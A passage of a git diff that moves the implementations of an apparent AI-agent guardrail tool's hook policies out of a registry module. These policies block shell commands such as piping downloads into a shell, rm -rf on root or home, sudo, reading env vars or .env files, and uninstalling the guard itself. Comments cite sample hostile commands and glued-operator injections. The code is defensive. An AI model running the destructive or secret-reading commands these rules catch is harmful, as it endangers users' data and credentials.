- return sha || null; - } catch { - return null; - } -} - -interface CiCheck { - name: string; - status: string; - conclusion: string; -} - -/** Fetch third-party check runs (non-GitHub-Actions) for a commit via the Checks API. */ -function getThirdPartyCheckRuns(cwd: string, sha: string): CiCheck[] { - try { - const json = execFileSync( - "gh", - [ - "api", - `repos/{owner}/{repo}/commits/${sha}/check-runs`, - "--jq", - '.check_runs | map(select(.app.slug != "github-actions")) | map({name: .name, status: .status, conclusion: (.conclusion // "")})', - ], - { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 15000, - }, - ).trim(); - - if (!json || json === "[]") return []; - return JSON.parse(json) as CiCheck[]; - } catch { - return []; - } -} - -/** Fetch commit statuses (legacy Status API) and normalize to CiCheck format. */ -function getCommitStatuses(cwd: string, sha: string): CiCheck[] { - try { - const json = execFileSync( - "gh", - [ - "api", - `repos/{owner}/{repo}/commits/${sha}/statuses`, - "--jq", - 'map({name: .context, state: .state}) | unique_by(.name)', - ], - { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 15000, - }, - ).trim(); - - if (!json || json === "[]") return []; - const statuses = JSON.parse(json) as Array<{ name: string; state: string }>; - return statuses.map((s) => ({ - name: s.name, - status: s.state === "pending" ? "in_progress" : "completed", - conclusion: s.state === "pending" ? "" : s.state === "success" ? "success" : "failure", - })); - } catch { - return []; - } -} - -/** - * Check if a command matches an allow pattern using token-by-token comparison. - * The "*" token is a wildcard. Extra command tokens beyond the pattern are allowed, - * UNLESS any token is a standalone shell operator (&&, ||, |, ;) OR contains an - * embedded shell metacharacter — both cases are rejected to prevent bypass via - * appended sub-commands or glued operators (e.g. "nginx;" or "nginx;evil"). - */ -function matchesAllowedPattern(cmd: string, pattern: string): boolean { - const cmdTokens = parseArgvTokens(cmd); - const patTokens = parseArgvTokens(pattern); - if (cmdTokens.length < patTokens.length) return false; - // Reject commands containing standalone shell-operator tokens - if (cmdTokens.some((tok) => SHELL_OPERATORS.has(tok))) return false; - // Reject any token containing embedded shell metacharacters - if (cmdTokens.some((tok) => SHELL_METACHAR_RE.test(tok))) return false; - return patTokens.every((tok, i) => tok === "*" || tok === cmdTokens[i]); -} - -// -- Policy implementations -- - -function sanitizeJwt(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub JWT patterns from tool output - const output = JSON.stringify(ctx.payload); - if (JWT_RE.test(output)) { - return { - decision: "deny", - reason: "JWT token detected in tool output", - message: "[REDACTED: JWT token removed by failproofai]", - }; - } - return allow(); -} - -function sanitizeApiKeys(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub common API key patterns from tool output - const output = JSON.stringify(ctx.payload); - for (const [pattern, label] of API_KEY_PATTERNS) { - if (pattern.test(output)) { - return { - decision: "deny", - reason: `${label} detected in tool output`, - message: `[REDACTED: ${label} removed by failproofai]`, - }; - } - } - - // Check additional user-configured patterns - const additional = ((ctx.params?.additionalPatterns ?? []) as Array<{ regex: string; label: string }>); - for (const { regex, label } of additional) { - try { - if (new RegExp(regex).test(output)) { - return { - decision: "deny", - reason: `${label} detected in tool output`, - message: `[REDACTED: ${label} removed by failproofai]`, - }; - } - } catch { - hookLogWarn(`additionalPatterns: invalid regex "${regex}", skipping`); - } - } - - return allow(); -} - -function sanitizeConnectionStrings(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub database connection strings with embedded credentials - const output = JSON.stringify(ctx.payload); - if (CONNECTION_STRING_RE.test(output)) { - return { - decision: "deny", - reason: "Database connection string with credentials detected in tool output", - message: "[REDACTED: connection string removed by failproofai]", - }; - } - return allow(); -} - -function sanitizePrivateKeyContent(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub PEM private key blocks from tool output - const output = JSON.stringify(ctx.payload); - if (PRIVATE_KEY_RE.test(output)) { - return { - decision: "deny", - reason: "Private key content detected in tool output", - message: "[REDACTED: private key content removed by failproofai]", - }; - } - return allow(); -} - -function sanitizeBearerTokens(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub Authorization: Bearer tokens from tool output - const output = JSON.stringify(ctx.payload); - if (BEARER_TOKEN_RE.test(output)) { - return { - decision: "deny", - reason: "Bearer token detected in tool output", - message: "[REDACTED: Bearer token removed by failproofai]", - }; - } - return allow(); -} - -function warnDestructiveSql(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (!SQL_TOOL_RE.test(cmd)) return allow(); - - // DROP or TRUNCATE always warns - if (DESTRUCTIVE_SQL_RE.test(cmd)) { - return instruct( - "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", - ); - } - - // DELETE FROM without WHERE warns - if (DELETE_NO_WHERE_RE.test(cmd) && !SQL_WHERE_RE.test(cmd)) { - return instruct( - "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", - ); - } - - return allow(); -} - -function warnLargeFileWrite(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Write") return allow(); - const content = ctx.toolInput?.content as string | undefined; - if (typeof content !== "string") return allow(); - const thresholdKb = ((ctx.params?.thresholdKb ?? 1024) as number); - const thresholdBytes = thresholdKb * 1024; - if (content.length > thresholdBytes) { - return instruct( - `STOP: You are writing a file larger than ${thresholdKb}KB (${Math.round(content.length / 1024)}KB). This is unusually large. Confirm this is intentional before proceeding.`, - ); - } - return allow(); -} - -function warnPackagePublish(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (PUBLISH_CMD_RE.test(cmd)) { - return instruct( - "STOP: This command publishes a package to a public registry. Confirm with the user that this is intentional.", - ); - } - return allow(); -} - -function protectEnvVars(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - // Block: env, printenv, echo $VAR, export VAR= - if (ENV_PRINTENV_RE.test(cmd)) { - return deny("Command reads environment variables"); - } - if (ECHO_ENV_RE.test(cmd)) { - return deny("Command echoes environment variable"); - } - if (EXPORT_RE.test(cmd)) { - return deny("Command exports environment variable"); - } - // PowerShell: $env:VAR - if (PS_ENV_VAR_RE.test(cmd)) { - return deny("Command reads environment variable via PowerShell"); - } - // PowerShell: Get-ChildItem Env: / dir env: / gci env: / ls env: - if (PS_CHILDITEM_ENV_RE.test(cmd)) { - return deny("Command reads environment variables via PowerShell"); - } - // PowerShell: [Environment]::GetEnvironmentVariable - if (DOTNET_GETENV_RE.test(cmd)) { - return deny("Command reads environment variable via .NET"); - } - // cmd: echo %VAR% - if (CMD_ECHO_ENV_RE.test(cmd)) { - return deny("Command echoes environment variable via cmd"); - } - return allow(); -} - -function blockEnvFiles(ctx: PolicyContext): PolicyResult { - const cmd = getCommand(ctx); - const filePath = getFilePath(ctx); - - // Check file_path for Read/Write tools (match both / and \ path separators) - if (filePath && ENV_FILE_PATH_RE.test(filePath)) { - return deny("Access to .env file blocked"); - } - // Check Bash commands referencing .env files - if (ctx.toolName === "Bash" && ENV_CMD_RE.test(cmd)) { - return deny("Command references .env file"); - } - return allow(); -} - -function blockSudo(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx).trimStart(); - if (SUDO_RE.test(cmd) || cmd.startsWith("sudo ")) { - // Check allowPatterns — match against parsed tokens, not raw string - const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); - if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); - return deny("sudo commands are blocked"); - } - // PowerShell: Start-Process -Verb RunAs (elevation) - if (PS_ELEVATION_RE.test(cmd)) { - return deny("Elevated process launch is blocked"); - } - // Windows: runas command - if (RUNAS_RE.test(cmd)) { - return deny("runas elevation is blocked"); - } - return allow(); -} - -function blockCurlPipeSh(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (CURL_PIPE_SH_RE.test(cmd)) { - return deny("Piping downloads to shell is blocked"); - } - // PowerShell: iwr | iex, irm | iex, Invoke-WebRequest | Invoke-Expression - if (PS_WEB_PIPE_RE.test(cmd)) { - return deny("Piping downloads to Invoke-Expression is blocked"); - } - return allow(); -} - -function extractGitPushArgs(cmd: string): string[] { - return cmd - .split(/&&|\|\||[|;\n]/) - .map((s) => s.trim()) - .filter((s) => /^git\s+push\s/.test(s)) - .map((s) => s.replace(/^git\s+push\s+/, "")); -} - -function blockPushMaster(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); - if (protectedBranches.length === 0) return allow(); - const args = extractGitPushArgs(getCommand(ctx)); - const branchPattern = new RegExp(`\\b(?:${protectedBranches.map((b) => b.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b`); - if (args.some((a) => branchPattern.test(a))) { - return deny(`Pushing to ${protectedBranches.join("/")} is blocked`); - } - return allow(); -} - -// -- block-rm-rf: deletion-target resolution -- - -/** - * Leading shell forms that resolve to a home directory: `~`, `~user`, `$HOME`, - * `${HOME}`. The lookahead keeps `$HOMEBREW_PREFIX` (a variable this policy - * cannot resolve) from being mistaken for `$HOME`. - */ -const HOME_PREFIX_RE = /^(?:~[A-Za-z0-9_.-]*|\$HOME|\$\{HOME\})(?=$|\/)/; - -/** `rm`, `/bin/rm`, `/usr/bin/rm`, … — the command word of a delete. */ -const RM_CMD_RE = /^(?:\/\S*\/)?rm$/; - -/** `find` expression that deletes: `-delete`, `-exec rm`, `-execdir rm`, `-ok rm`. */ -// Same shape as RM_CMD_RE: `find` is just as dangerous when invoked by -// absolute path (`/usr/bin/find / -delete`), so match both forms. -const FIND_CMD_RE = /^(?:\/\S*\/)?find$/; -const FIND_EXEC_RE = /^-(?:exec|execdir|ok|okdir)$/; - -/** find's global options, which precede its path operands (`find -L / -delete`). */ -const FIND_GLOBAL_OPT_RE = /^-(?:[HLP]|D|O\d*)$/; - -/** First token of find's expression — everything before it is a path operand. */ -const FIND_EXPR_START_RE = /^(?:-|\\?[(!])/; - -/** - * Roots that exist to hold throwaway data. A delete of the root itself is still - * catastrophic (`rm -rf /tmp` wipes every process's scratch space); a delete of - * something *inside* one is ordinary work. - */ -const SCRATCH_ROOTS = ["/tmp", "/var/tmp"]; - -/** - * How many path segments below a root (`/` or a home directory) a delete has to - * reach before it stops being catastrophic. `/etc` (1) and `/home/chetan` (2) - * are system- and user-level directories; `/home/chetan/project` (3) is a - * specific thing the caller meant to delete. - */ -const CATASTROPHIC_DEPTH = 2; - -/** Expand the leading `~` / `$HOME` / `${HOME}` of a path to the real home directory. */ -function expandHomePrefix(path: string): string { - const m = path.match(/^(?:~|\$HOME|\$\{HOME\})(?=$|\/)/); - return m ? homedir() + path.slice(m[0].length) : path; -} - -/** Drop a trailing `/*` glob and any trailing slashes: `/tmp/foo/*` → `/tmp/foo`. */ -function stripTrailingGlob(path: string): string { - return path.replace(/\/\*$/, "").replace(/\/+$/, ""); -} - -/** - * Would deleting this target be catastrophic? + * This module is the registry: it names, describes, categorises, orders, and + * registers all 39 builtins, and it is still the only module the rest of the + * codebase imports. The *implementations* live one directory down, split by + * capability (Stage 0 / P1): * - * Rather than pattern-matching the raw command text, this resolves the token as - * far as the shell would: quotes are stripped, `~` / `$HOME` are recognised as a - * root in their own right, and the remaining path segments are counted. A target - * within {@link CATASTROPHIC_DEPTH} segments of either root (`/` or home) takes - * out the machine or the user's data. + * • `./builtin/payload-only.ts` — 32 policies that decide from the hook + * payload alone. Sealed-tier eligible; its import graph reaches no host + * module. + * • `./builtin/host-access.ts` — 7 policies that spawn `git` / `gh` or read + * and write a transcript sidecar. `user-context` tier. * - * Fails safe: a token whose head is an expansion this policy cannot evaluate — - * command substitution (`$(…)`, backticks) or any variable other than `$HOME` — - * could expand to `/`, so it counts as catastrophic. Relative targets are not - * flagged: they resolve under the working directory, not under a root. - */ -function isCatastrophicTarget(token: string): boolean { - const raw = token.replace(/^['"]|['"]$/g, ""); - if (raw === "") return false; - - const homePrefix = raw.match(HOME_PREFIX_RE); - // Unresolvable head: `$(echo /)`, `` `pwd` ``, `$TARGET_DIR`, … - if (!homePrefix && /^[$`]/.test(raw)) return true; - - const belowRoot = homePrefix ? raw.slice(homePrefix[0].length) : raw.startsWith("/") ? raw : null; - if (belowRoot === null) return false; - - const segments = stripTrailingGlob(belowRoot).split("/").filter(Boolean); - if (!homePrefix && SCRATCH_ROOTS.some((r) => `/${segments.join("/")}`.startsWith(`${r}/`))) return false; - return segments.length <= CATASTROPHIC_DEPTH; -} - -/** - * The paths a single command segment would recursively delete, or `null` when the - * segment is not a recursive delete at all. + * The split is load-bearing, not cosmetic. Execution tiers are derived from a + * policy's resolved import graph, so while all 39 shared one module importing + * `node:child_process`, derivation would have routed every one of them to + * `user-context` and left the sealed tier empty — an architecture that looks + * implemented and delivers no verdict integrity. + * `__tests__/hooks/builtin-tier-split.test.ts` asserts both the registry + * snapshot and the real transitive import graph. * - * Understands the two shapes that reach every file under a target: `rm` with both - * `-r` and `-f` (in any spelling or order), and `find`, which recurses by design, - * paired with `-delete` or an `-exec rm`. + * This file itself is deliberately NOT import-pure: it wires the host-side + * logger and home-directory fallback into the two pure seams the sealed half + * depends on (`./builtin/warn`, `./builtin/host-context`), so the legacy + * in-process path behaves exactly as it did before the split. */ -function recursiveDeletionTargets(seg: string): string[] | null { - const tokens = parseArgvTokens(seg); - - const findIdx = tokens.findIndex((t) => FIND_CMD_RE.test(t)); - if (findIdx >= 0) { - const expr = tokens.slice(findIdx + 1); - const execIdx = expr.findIndex((t) => FIND_EXEC_RE.test(t)); - const deletes = expr.includes("-delete") || (execIdx >= 0 && RM_CMD_RE.test(expr[execIdx + 1] ?? "")); - if (deletes) { - // find's path operands sit between the leading global options and the - // first expression token: `find -L /home/chetan -name '*.log' -delete` - let start = 0; - while (start < expr.length && FIND_GLOBAL_OPT_RE.test(expr[start])) { - start += expr[start] === "-D" ? 2 : 1; - } - const rest = expr.slice(start); - const end = rest.findIndex((t) => FIND_EXPR_START_RE.test(t)); - return end < 0 ? rest : rest.slice(0, end); - } - } - - const rmIdx = tokens.findIndex((t) => RM_CMD_RE.test(t)); - if (rmIdx >= 0) { - const args = tokens.slice(rmIdx + 1); - const shortFlags = args.filter((t) => /^-[^-]/.test(t)).join(""); - const longFlags = args.filter((t) => /^--/.test(t)); - const recursive = /r/i.test(shortFlags) || longFlags.some((f) => /^--recursive$/i.test(f)); - const force = /f/.test(shortFlags) || longFlags.some((f) => /^--force$/i.test(f)); - if (recursive && force) return args.filter((t) => !t.startsWith("-")); - } - - return null; -} - -/** Split a command into the segments the shell would run as separate commands. */ -function shellSegments(cmd: string): string[] { - return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => s !== ""); -} - -/** - * Check whether all recursive-delete targets in a command are under an allowlisted path. - * Splits on shell operators first so that `/tmp` appearing in an unrelated - * sub-command (e.g. `echo /tmp && rm -rf /`) does not trigger a false allow. - * Uses path-boundary comparison so `/tmp` does not cover `/tmp2`. - * Non-recursive rm segments (no -r/-R flag) are skipped — they pose no catastrophic risk. - * Quoted paths with spaces are handled via a segment-level regex fallback. - * Home-relative targets and allowPaths entries are expanded, so `~/scratch` is - * covered by an allowPaths entry of either `~/scratch` or the absolute home path. - */ -function deletionTargetIsAllowed(cmd: string, allowPaths: string[]): boolean { - if (allowPaths.length === 0) return false; - const normalizedAllowPaths = allowPaths.map((p) => stripTrailingGlob(expandHomePrefix(p)) || "/"); - let sawRecursiveDelete = false; - for (const seg of shellSegments(cmd)) { - const targets = recursiveDeletionTargets(seg); - if (targets === null) continue; - sawRecursiveDelete = true; - for (const target of targets) { - const normalized = stripTrailingGlob(expandHomePrefix(target)) || "/"; - const covered = normalizedAllowPaths.some((np) => normalized === np || normalized.startsWith(np + "/")); - if (!covered) { - // Fallback: check the raw segment for quoted paths that contain spaces - // (parseArgvTokens splits on whitespace, so "/tmp/my dir" becomes two tokens) - const segCovered = allowPaths.some((p) => { - const escaped = p.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); - return new RegExp(`${escaped}(?:[/"'\\s/*]|$)`).test(seg); - }); - if (!segCovered) return false; - } - } - } - return sawRecursiveDelete; -} - -function blockRmRf(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - - const hasCatastrophicTarget = shellSegments(cmd).some((seg) => { - const targets = recursiveDeletionTargets(seg); - return targets !== null && targets.some(isCatastrophicTarget); - }); - if (hasCatastrophicTarget) { - const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); - if (deletionTargetIsAllowed(cmd, allowPaths)) return allow(); - return deny("Catastrophic deletion blocked"); - } - - // PowerShell: Remove-Item -Recurse -Force on root/drive - if (/Remove-Item\s+.*-Recurse.*-Force.*(?:[A-Z]:\\(?:\s|$)|\\\*)/i.test(cmd)) { - return deny("Catastrophic deletion blocked"); - } - // cmd: rd /s /q or rmdir /s /q on drive root - if (/(?:rd|rmdir)\s+\/s\s+\/q\s+[A-Z]:\\/i.test(cmd)) { - return deny("Catastrophic deletion blocked"); - } - return allow(); -} - -function blockForcePush(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - for (const segment of extractGitPushArgs(getCommand(ctx))) { - let sawEndOfOptions = false; - for (const token of segment.split(/\s+/)) { - if (token === "--") { - sawEndOfOptions = true; - continue; - } - if (sawEndOfOptions) continue; - if (isForcePushFlag(token)) { - return deny("Force-pushing is blocked"); - } - } - } - return allow(); -} - -function isForcePushFlag(token: string): boolean { - if (token === "--force") return true; - if (SAFE_FORCE_PREFIXES.some((prefix) => token.startsWith(prefix))) return false; - if (token.startsWith("--force")) return true; - return SHORT_FLAG_BUNDLE_RE.test(token); -} - -function blockSecretsWrite(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Write") return allow(); - const filePath = getFilePath(ctx); - if (SECRET_FILE_RE.test(filePath) || SECRET_FILE_ID_RSA_RE.test(filePath) || SECRET_FILE_CREDENTIALS_RE.test(filePath)) { - return deny("Writing secret key files is blocked"); - } - const additionalPatterns = ((ctx.params?.additionalPatterns ?? []) as string[]); - for (const pattern of additionalPatterns) { - if (filePath.includes(pattern)) { - return deny(`Writing blocked file pattern: ${pattern}`); - } - } - return allow(); -} - -/** Read-like commands that access file system contents. */ -const READ_LIKE_CMDS = - /(?:^|;|&&|\|\||\|)\s*(?:ls|find|cat|head|tail|less|more|wc|file|stat|tree|du)\s/; +import { homedir } from "node:os"; +import type { BuiltinPolicyDefinition, PolicyParamsSchema } from "./policy-types"; +import { normalizePolicyName, registerPolicy } from "./policy-registry"; +import { hookLogWarn } from "./hook-logger"; +import { setPolicyWarnSink } from "./builtin/warn"; +import { setHostContextFallback } from "./builtin/host-context"; +import { + sanitizeJwt, + sanitizeApiKeys, + sanitizeConnectionStrings, + sanitizePrivateKeyContent, + sanitizeBearerTokens, + protectEnvVars, + blockEnvFiles, + blockReadOutsideCwd, + blockSudo, + blockCurlPipeSh, + blockRmRf, + blockFailproofaiCommands, + blockKubectl, + blockTerraform, + blockAwsCli, + blockGcloud, + blockAzCli, + blockHelm, + blockGhPipeline, + blockSecretsWrite, + blockPushMaster, + blockForcePush, + warnGitAmend, + warnGitStashDrop, + warnAllFilesStaged, + warnDestructiveSql, + warnSchemaAlteration, + warnPackagePublish, + warnGlobalPackageInstall, + preferPackageManager, + warnLargeFileWrite, + warnBackgroundProcess, +} from "./builtin/payload-only"; +import { + blockWorkOnMain, + warnRepeatedToolCalls, + requireCommitBeforeStop, + requirePushBeforeStop, + requirePrBeforeStop, + requireNoConflictsBeforeStop, + requireCiGreenBeforeStop, + clearGitBranchCache, +} from "./builtin/host-access"; /** - * Extract absolute paths from a Bash command string. - * Scans quoted strings only in the first pipeline segment (before the first - * bare pipe) and only when the quoted content has no glob or regex metacharacters. - * This catches `cat "/etc/passwd"` while avoiding false positives from grep - * patterns and find glob patterns that appear in later pipeline stages. - * Unquoted absolute paths are extracted from the whole command as before. + * Wire the host into the sealed half's two injectable seams. * - * The negative lookbehind also excludes glob metacharacters ('*', '?') and - * separator characters that appear in compound argv tokens (':' for Docker - * volume mounts and PATH-like lists, '=' for env var assignments) so that a - * suffix like '/dashboard.mdx' in 'docs/STAR/dashboard.mdx' or '/docs' in - * '-v HOST_DIR:/docs' is not misread as a standalone absolute path. - */ -function extractAbsolutePaths(command: string): string[] { - const paths: string[] = []; - const pathRe = /(? " ".repeat(m.length)) - .replace(/'[^']*'/g, (m) => " ".repeat(m.length)); - addPaths(stripped); - - return paths; -} - -function blockReadOutsideCwd(ctx: PolicyContext): PolicyResult { - // Prefer $CLAUDE_PROJECT_DIR (stable project root) over ctx.session.cwd, - // which tracks the live shell CWD and drifts when Claude `cd`s into a subdir. - const cwd = process.env.CLAUDE_PROJECT_DIR || ctx.session?.cwd; - if (!cwd) return allow(); // Can't enforce without cwd - - const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); - - // For Bash tool: check read-like commands for absolute paths outside cwd - if (ctx.toolName === "Bash") { - const cmd = getCommand(ctx); - if (!READ_LIKE_CMDS.test(cmd)) return allow(); - - const paths = extractAbsolutePaths(cmd); - const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; - for (const p of paths) { - const resolved = resolve(cwd, p); - if (isClaudeSettingsFile(resolved)) { - return deny(`Reading agent settings file blocked: ${resolved}`); - } - if (isClaudeInternalPath(resolved)) continue; // Whitelist ~/.claude/ - if (resolved === "/dev/null") continue; // Harmless special file - if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { - if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) continue; - return deny(`Bash read outside project directory blocked: ${resolved}`); - } - } - return allow(); - } - - // For Read/Glob/Grep: existing file_path / path check - const filePath = getFilePath(ctx); - const searchPath = (ctx.toolInput?.path as string) ?? ""; - - const target = filePath || searchPath; - if (!target) return allow(); - - const resolved = resolve(cwd, target); - - // Block settings files in any .claude directory before whitelisting - if (isClaudeSettingsFile(resolved)) { - return deny(`Reading agent settings file blocked: ${resolved}`); - } - - // Whitelist ~/.claude/ — Claude Code's own config, plans, memory, and settings - if (isClaudeInternalPath(resolved)) return allow(); - - // Whitelist /dev/null — harmless special file commonly used in shell commands - if (resolved === "/dev/null") return allow(); - - const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; - if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { - if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) return allow(); - return deny(`Access outside project directory blocked: ${resolved}`); - } - return allow(); -} - -function blockWorkOnMain(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - const match = cmd.match(GIT_COMMIT_MERGE_RE); - if (!match) return allow(); - - const cwd = ctx.session?.cwd; - if (!cwd) return allow(); - - const branch = getCurrentBranch(cwd); - if (!branch) return allow(); - - const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); - if (protectedBranches.includes(branch)) { - return deny( - `Git ${match[1]} on ${branch} is blocked. Create a feature branch first.`, - ); - } - return allow(); -} - -function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - - // Block direct failproofai CLI invocations - if (FAILPROOFAI_CLI_RE.test(cmd)) { - return deny("Running failproofai CLI commands is blocked"); - } - - // Block package-manager uninstallation of failproofai - if (FAILPROOFAI_UNINSTALL_RE.test(cmd)) { - return deny("Uninstalling failproofai is blocked"); - } - - return allow(); -} - -// Shared CLI-blocker: deny any command whose argv begins with the matched CLI, -// unless an entry in `allowPatterns` matches via `matchesAllowedPattern` (which -// already defends against shell-operator injection). -function blockInfraCli(ctx: PolicyContext, re: RegExp, denyMsg: string): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (!re.test(cmd)) return allow(); - const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); - if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); - return deny(denyMsg); -} - -function blockKubectl(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, KUBECTL_RE, "kubectl commands are blocked"); -} - -function blockTerraform(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, TERRAFORM_RE, "terraform/tofu commands are blocked"); -} - -function blockAwsCli(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, AWS_CLI_RE, "aws CLI commands are blocked"); -} - -function blockGcloud(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, GCLOUD_RE, "gcloud commands are blocked"); -} - -function blockAzCli(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, AZ_CLI_RE, "az (Azure) CLI commands are blocked"); -} - -function blockHelm(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, HELM_RE, "helm commands are blocked"); -} - -// gh-pipeline only fires on mutating subcommands; allowPatterns are still -// supported in case a user wants to permit a specific scripted invocation. -function blockGhPipeline(ctx: PolicyContext): PolicyResult { - return blockInfraCli(ctx, GH_PIPELINE_RE, "gh pipeline-trigger commands are blocked"); -} - -// Maximum size of the per-session tool-call sidecar before we stop updating it. -// If exceeded, repeated-call detection degrades gracefully (allows through) rather -// than growing the file unboundedly. -const TOOL_CALL_TRACKER_MAX_BYTES = 65_536; // 64 KB - -async function warnRepeatedToolCalls(ctx: PolicyContext): Promise { - const THRESHOLD = 3; - const transcriptPath = ctx.session?.transcriptPath; - if (!transcriptPath || !ctx.toolName || !ctx.toolInput) return allow(); - - // Sidecar file tracks { fingerprint: count } — O(1) per call vs O(transcript) per call. - const trackerPath = `${transcriptPath}.tool-calls.json`; - const fingerprint = JSON.stringify({ tool: ctx.toolName, input: ctx.toolInput }); - - let counts: Record = {}; - try { - const raw = await readFile(trackerPath, "utf8"); - counts = JSON.parse(raw) as Record; - } catch { /* first call or unreadable — start fresh */ } - - const prevCount = counts[fingerprint] ?? 0; - if (prevCount >= THRESHOLD) { - return instruct( - `STOP: You have already called ${ctx.toolName} ${prevCount} times with identical parameters. This is wasteful and unproductive. Do NOT repeat this call — use a different approach or ask the user for clarification.`, - ); - } - - counts[fingerprint] = prevCount + 1; - try { - const serialized = JSON.stringify(counts); - if (serialized.length <= TOOL_CALL_TRACKER_MAX_BYTES) { - await writeFile(trackerPath, serialized, "utf8"); - } - } catch { /* non-fatal */ } - - return allow(); -} - -function warnGitAmend(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (GIT_AMEND_RE.test(cmd)) { - return instruct( - "STOP: This command amends the last commit, which rewrites git history. If this commit has already been pushed to a shared branch, this will cause divergence for other contributors. Confirm with the user before executing.", - ); - } - return allow(); -} - -function warnGitStashDrop(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (GIT_STASH_DROP_RE.test(cmd)) { - return instruct( - "STOP: This command permanently deletes stashed changes (git stash drop/clear). Stash entries cannot be recovered after deletion. Confirm with the user before executing.", - ); - } - return allow(); -} - -function warnAllFilesStaged(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (GIT_ADD_ALL_RE.test(cmd)) { - return instruct( - "STOP: This command stages all files in the working tree (git add -A / --all / .). This may inadvertently include build artifacts, generated files, or sensitive files not covered by .gitignore. Confirm with the user before executing.", - ); - } - return allow(); -} - -function warnSchemaAlteration(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (!SQL_TOOL_RE.test(cmd)) return allow(); - if (SCHEMA_ALTER_RE.test(cmd)) { - return instruct( - "STOP: This command contains a schema-altering SQL statement (ALTER TABLE with column or rename operation). Schema changes on production databases are irreversible or disruptive. Confirm with the user before executing.", - ); - } - return allow(); -} - -function warnGlobalPackageInstall(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - const isGlobal = - NPM_GLOBAL_RE.test(cmd) || - YARN_GLOBAL_RE.test(cmd) || - PNPM_GLOBAL_RE.test(cmd) || - BUN_GLOBAL_RE.test(cmd) || - CARGO_INSTALL_RE.test(cmd) || - // Bare 'pip install' respects the active venv when one is present; - // only flag explicit system-level flags (--user, --break-system-packages). - PIP_SYSTEM_RE.test(cmd); - if (isGlobal) { - return instruct( - "STOP: This command installs a package globally, which modifies the system-wide environment outside the project. This can conflict with other projects or system tools. Confirm with the user before executing.", - ); - } - return allow(); -} - -// Split a compound shell command into independent segments. -const SEGMENT_SPLIT_RE = /\s*(?:&&|\|\||\||;)\s*/; - -function preferPackageManager(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (!cmd) return allow(); - - const allowed = (ctx.params?.allowed ?? []) as string[]; - if (allowed.length === 0) return allow(); - - const allowedSet = new Set(allowed.map((a) => a.toLowerCase())); - const blocked = (ctx.params?.blocked ?? []) as string[]; - const allowedList = allowed.join(", "); - - // Evaluate each shell segment independently so that - // "uv --version && pip install flask" correctly denies the pip segment. - const segments = cmd.split(SEGMENT_SPLIT_RE); - - for (const segment of segments) { - const trimmed = segment.trim(); - if (!trimmed) continue; - - // Check if this segment uses an allowed manager — if so, skip it. - let segmentAllowed = false; - for (const manager of allowedSet) { - const patterns = PKG_MANAGER_DETECTORS[manager]; - if (!patterns) continue; - for (const pattern of patterns) { - if (pattern.test(trimmed)) { 